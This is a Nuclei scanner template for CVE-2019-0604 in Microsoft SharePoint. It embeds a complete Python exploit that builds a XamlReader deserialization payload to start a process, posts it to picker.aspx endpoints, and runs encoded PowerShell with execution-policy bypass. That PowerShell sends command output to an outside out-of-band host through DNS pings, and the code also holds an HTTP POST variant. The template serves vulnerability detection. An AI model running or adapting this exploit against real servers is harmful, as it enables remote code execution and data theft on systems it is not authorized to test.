mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 20:53:27 +08:00
157 lines
7.9 KiB
YAML
157 lines
7.9 KiB
YAML
id: CVE-2019-0604
|
|
|
|
info:
|
|
name: Microsoft SharePoint - Remote Code Execution
|
|
author: tree-chtsec,pszyszkowski
|
|
severity: critical
|
|
description: |
|
|
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
|
|
remediation: |
|
|
Fixed in security update published Feb 12, 2019
|
|
reference:
|
|
- https://github.com/Gh0st0ne/weaponized-0604
|
|
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
|
|
- https://nvd.nist.gov/vuln/detail/cve-2019-0604
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-0604
|
|
cwe-id: CWE-20
|
|
epss-score: 0.94436
|
|
epss-percentile: 0.99974
|
|
metadata:
|
|
verified: true
|
|
vendor: microsoft
|
|
product: sharepoint
|
|
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
|
|
tags: cve,cve2019,sharepoint,microsoft,rce,kev
|
|
|
|
variables:
|
|
OAST: "{{interactsh-url}}"
|
|
marker: "{{randbase(5)}}"
|
|
|
|
code:
|
|
- engine:
|
|
- py
|
|
- python3 #pip install lxml{required}
|
|
|
|
source: |
|
|
import os
|
|
import sys
|
|
import base64
|
|
import argparse
|
|
from copy import deepcopy
|
|
import urllib3
|
|
import requests
|
|
import lxml.html
|
|
import codecs
|
|
from xml.sax.saxutils import escape
|
|
urllib3.disable_warnings()
|
|
default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
|
|
part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
|
|
part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
|
|
content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
|
|
paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
|
|
host = os.getenv('RootURL')
|
|
domain = os.getenv('OAST')
|
|
user = os.getenv('username')
|
|
pswd = os.getenv('password')
|
|
def html_escape(s):
|
|
_ = escape(s)
|
|
_ = _.replace('"', '"')
|
|
return _
|
|
def _0604(cmd):
|
|
if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
|
|
_bin, _arg = cmd.split(' ', 1)
|
|
else:
|
|
_bin = 'cmd'
|
|
_arg = '/c ' + cmd
|
|
payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
|
|
o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
|
|
return '__bp' + format(len(o), 'x')[::-1] + o
|
|
def main():
|
|
auth = ''
|
|
cmd = 'echo ' + os.getenv('marker')
|
|
if (user != None) and (pswd != None):
|
|
auth = user + ':' + pswd
|
|
ntlm = True
|
|
else:
|
|
ntlm = False
|
|
if host is None:
|
|
print("missing target. You must specify -u <url>")
|
|
exit(1)
|
|
if domain is not None:
|
|
print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
|
|
__var_raw = '$a'
|
|
__var_hex = '$b'
|
|
__dns_code = '''
|
|
$bl = %(v_hex)s.length;$l = 60;$i = 0;
|
|
while($i -lt $bl) {
|
|
$l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
|
|
$v = %(v_hex)s.substring($i, $l);
|
|
ping -n 1 "$i.$v.%(domain)s";
|
|
$i += $l; }
|
|
'''.strip() % dict(domain=domain, v_hex=__var_hex)
|
|
__post_code = '''
|
|
iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
|
|
'''.strip() % dict(domain=domain, v_raw=__var_raw)
|
|
__code = '''
|
|
%(v_raw)s = %(cmd)s;
|
|
$Encode = new-object "System.Text.UTF8Encoding";
|
|
$bytearray = $Encode.GetBytes(%(v_raw)s);
|
|
%(v_hex)s = "";
|
|
Foreach ($i in $bytearray) {
|
|
%(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
|
|
}
|
|
'''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
|
|
__code += __dns_code
|
|
__code = base64.b64encode(__code.encode('UTF-16LE')).decode()
|
|
cmd = 'powershell -ep bypass -enc %s' % (__code)
|
|
print(cmd)
|
|
if ntlm:
|
|
from requests_ntlm import HttpNtlmAuth
|
|
_auth = HttpNtlmAuth(*auth.split(':', 1))
|
|
else:
|
|
_auth = None
|
|
_headers = {'User-Agent': default_ua}
|
|
req_kwargs = {
|
|
'headers': _headers,
|
|
'auth': _auth,
|
|
'verify': False
|
|
}
|
|
def auto_sp_attack(kwargs):
|
|
for item in paths:
|
|
url = os.getenv('RootURL') + item
|
|
# get sharepoint version (2019,2016 / 2013 / 2010)
|
|
res = requests.get(url, **kwargs)
|
|
spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
|
|
kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
|
|
# get viewstate & ev from picker.aspx
|
|
if res.status_code != 200:
|
|
print('%s failed [%s]' % (item, res.status_code))
|
|
continue
|
|
else:
|
|
break
|
|
rt = lxml.html.fromstring(res.content)
|
|
spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
|
|
kwargs['data'] = {
|
|
'__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
|
|
'__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
|
|
}
|
|
payload = _0604(cmd)
|
|
kwargs['data'][spandata] = payload
|
|
return requests.post(url, **kwargs)
|
|
attack_fn = auto_sp_attack
|
|
res = attack_fn(deepcopy(req_kwargs))
|
|
if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
|
|
print('%s succeded (%s)' % (res.url, res.status_code))
|
|
if __name__ == '__main__':
|
|
main()
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(interactsh_protocol, "dns")'
|
|
- 'contains(interactsh_request, hex_encode(marker))'
|
|
condition: and
|
|
# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950 |